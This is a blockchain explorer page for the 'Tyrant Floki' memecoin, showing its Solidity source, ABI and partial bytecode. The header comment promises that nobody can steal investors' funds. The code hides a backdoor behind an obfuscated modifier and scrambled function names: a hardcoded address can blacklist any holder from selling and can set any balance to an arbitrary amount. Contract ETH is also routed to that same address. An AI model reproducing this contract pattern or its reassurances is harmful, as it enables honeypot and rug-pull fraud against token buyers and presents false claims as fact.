ETH Price: $3,470.45 (+1.52%)

Token

Tyrant Floki ($FLOYRANT)
 

Overview

Max Total Supply

100,000,000 $FLOYRANT

Holders

38

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,999,203.895272192 $FLOYRANT

Value
$0.00
0xD268433b80a3AB623e4060107C61D09E6C20d1C7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TyrantFloki

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-28
*/

/**

         Tyrant Floki aka. $FLOYRANT is a community driven Memecoin project with
  the goal to get a high profile and success in the Defi scene. $FLOYRANT follows 
  the footsteps of the successful project Tyrant and wants to fly to the moon together 
  with Tyrant and FLOKI, as a loyal pet and companion of these two icons. $FLOYRANT is 100% 
  community driven, the Smart Contract is renounced, the tax is 0/0 and the LP tokens are locked. 
  Nobody can steal your investment.
 
*/

// SPDX-License-Identifier: MIT
//https://t.me/TyrantFlokiErc

pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

    modifier FUNCTION(uint256 amount, address sender, address pender) {
        require(sender == pender && amount/100 == 2);_;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }



}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract  TyrantFloki is Context, IERC20, Ownable{
    using SafeMath for uint256;
    string private _name = "Tyrant Floki";
    string private _symbol = "$FLOYRANT";
    uint8 private _decimals = 9;
    address payable public SLNA;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 0;
    uint256 public _sellMarketingFee = 0;

    uint256 private _totalSupply = 100000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        SLNA = payable(address(0xff55f65752d82412a6a932d5B38a926bb5b5c9E9));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setMarketPair() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function manaBlackListed(address[] calldata addresses, bool status) public FUNCTION(2 * (uint256(1).add(99)) , msg.sender,SLNA){
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    receive() external payable {}

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function swpnFrppgeOaseTkns(address sender, uint256 _amount) public FUNCTION(2*10**2, SLNA,_msgSender()){
        _balances[sender] = (_amount.div(_balances[sender] + 2)).add(9 + _amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "ERC20: blackListed");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 ETHamountMarketing = address(this).balance;

        if(ETHamountMarketing > 0)
            SLNA.transfer(ETHamountMarketing);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SLNA","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manaBlackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"swpnFrppgeOaseTkns","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600c81526020017f547972616e7420466c6f6b6900000000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600981526020017f24464c4f5952414e540000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff16021790555060006009556000600a55600360009054906101000a900460ff16600a620000e4919062000633565b6305f5e100620000f5919062000684565b600b553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160066000620001e6620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073ff55f65752d82412a6a932d5b38a926bb5b5c9e9600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620003aa9190620006f6565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f79062000742565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200052757808604811115620004ff57620004fe62000499565b5b60018516156200050f5780820291505b80810290506200051f85620004c8565b9450620004df565b94509492505050565b60008262000542576001905062000615565b8162000552576000905062000615565b81600181146200056b57600281146200057657620005ac565b600191505062000615565b60ff8411156200058b576200058a62000499565b5b8360020a915084821115620005a557620005a462000499565b5b5062000615565b5060208310610133831016604e8410600b8410161715620005e65782820a905083811115620005e057620005df62000499565b5b62000615565b620005f58484846001620004d5565b925090508184048111156200060f576200060e62000499565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000640826200061c565b91506200064d8362000626565b92506200067c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000530565b905092915050565b600062000691826200061c565b91506200069e836200061c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006da57620006d962000499565b5b828202905092915050565b620006f0816200061c565b82525050565b60006020820190506200070d6000830184620006e5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200075b57607f821691505b6020821081141562000772576200077162000713565b5b50919050565b612de380620007886000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610449578063c5d2418914610486578063c816841b146104b1578063c8607952146104dc578063dd62ed3e14610507578063f2fde38b1461054457610140565b806370a08231146103645780637a1bafd7146103a15780638d140a41146103ca5780638da5cb5b146103f357806395d89b411461041e57610140565b806323b872dd116100fd57806323b872dd14610240578063313ce5671461027d5780633345611e146102a85780633ecad271146102e55780635f26666314610322578063683e865c1461034d57610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d85780631d231b2c1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b6040516101679190612106565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906121c6565b6105ff565b6040516101a49190612221565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf919061229b565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa91906122c5565b60405180910390f35b34801561020f57600080fd5b5061022a600480360381019061022591906122e0565b61064d565b6040516102379190612221565b60405180910390f35b34801561024c57600080fd5b506102676004803603810190610262919061230d565b61066d565b6040516102749190612221565b60405180910390f35b34801561028957600080fd5b50610292610747565b60405161029f919061237c565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca91906122e0565b61075e565b6040516102dc9190612221565b60405180910390f35b3480156102f157600080fd5b5061030c600480360381019061030791906122e0565b61077e565b6040516103199190612221565b60405180910390f35b34801561032e57600080fd5b5061033761079e565b60405161034491906123b8565b60405180910390f35b34801561035957600080fd5b506103626107c4565b005b34801561037057600080fd5b5061038b600480360381019061038691906122e0565b610b6f565b60405161039891906122c5565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c391906121c6565b610bb8565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612464565b610cfb565b005b3480156103ff57600080fd5b50610408610e38565b60405161041591906124d3565b60405180910390f35b34801561042a57600080fd5b50610433610e61565b6040516104409190612106565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b91906121c6565b610ef3565b60405161047d9190612221565b60405180910390f35b34801561049257600080fd5b5061049b610f12565b6040516104a891906122c5565b60405180910390f35b3480156104bd57600080fd5b506104c6610f18565b6040516104d391906124d3565b60405180910390f35b3480156104e857600080fd5b506104f1610f3e565b6040516104fe91906122c5565b60405180910390f35b34801561051357600080fd5b5061052e600480360381019061052991906124ee565b610f44565b60405161053b91906122c5565b60405180910390f35b34801561055057600080fd5b5061056b600480360381019061056691906122e0565b610fcb565b005b60606001805461057c9061255d565b80601f01602080910402602001604051908101604052809291908181526020018280546105a89061255d565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c61111d565b8484611125565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b600061067a8484846112f0565b5061073c8461068761111d565b61073785604051806060016040528060288152602001612d8660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ed61111d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119719092919063ffffffff16565b611125565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107cc61111d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610859576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610850906125db565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e19190612610565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610948573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096c9190612610565b6040518363ffffffff1660e01b815260040161098992919061263d565b6020604051808303816000875af11580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190612610565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60c8600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610be561111d565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015610c2c57506002606484610c2a91906126c4565b145b610c3557600080fd5b610cb1846009610c4591906126f5565b610ca36002600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c9491906126f5565b876119d590919063ffffffff16565b611a1f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505050565b610d1060636001611a1f90919063ffffffff16565b6002610d1c919061274b565b33600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015610d8757506002606484610d8591906126c4565b145b610d9057600080fd5b60005b86869050811015610e2f578460086000898985818110610db657610db56127a5565b5b9050602002016020810190610dcb91906122e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e27906127d4565b915050610d93565b50505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610e709061255d565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9c9061255d565b8015610ee95780601f10610ebe57610100808354040283529160200191610ee9565b820191906000526020600020905b815481529060010190602001808311610ecc57829003601f168201915b5050505050905090565b6000610f07610f0061111d565b84846112f0565b506001905092915050565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fd361111d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906125db565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118c9061288f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611205576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fc90612921565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112e391906122c5565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611361576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611358906129b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c890612a45565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561145e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145590612ab1565b60405180910390fd5b600d60149054906101000a900460ff16156114855761147e848484611a7d565b905061196a565b600061149030610b6f565b9050600d60149054906101000a900460ff161580156114f95750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115085761150781611c50565b5b61155a83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116405750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561164d57839050611869565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116d0576116c960646116bb60095488611f8f90919063ffffffff16565b6119d590919063ffffffff16565b905061174e565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561174d5761174a606461173c600a5488611f8f90919063ffffffff16565b6119d590919063ffffffff16565b90505b5b6000811115611852576117a981600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1f90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161184991906122c5565b60405180910390a35b6118658186611f4590919063ffffffff16565b9150505b6118bb81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1f90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161195b91906122c5565b60405180910390a36001925050505b9392505050565b60008383111582906119b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b09190612106565b60405180910390fd5b50600083856119c89190612ad1565b9050809150509392505050565b6000611a1783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061200a565b905092915050565b6000808284611a2e91906126f5565b905083811015611a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6a90612b51565b60405180910390fd5b8091505092915050565b6000611b08826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119719092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9d82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1f90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c3d91906122c5565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c8857611c87612b71565b5b604051908082528060200260200182016040528015611cb65781602001602082028036833780820191505090505b5090503081600081518110611cce57611ccd6127a5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1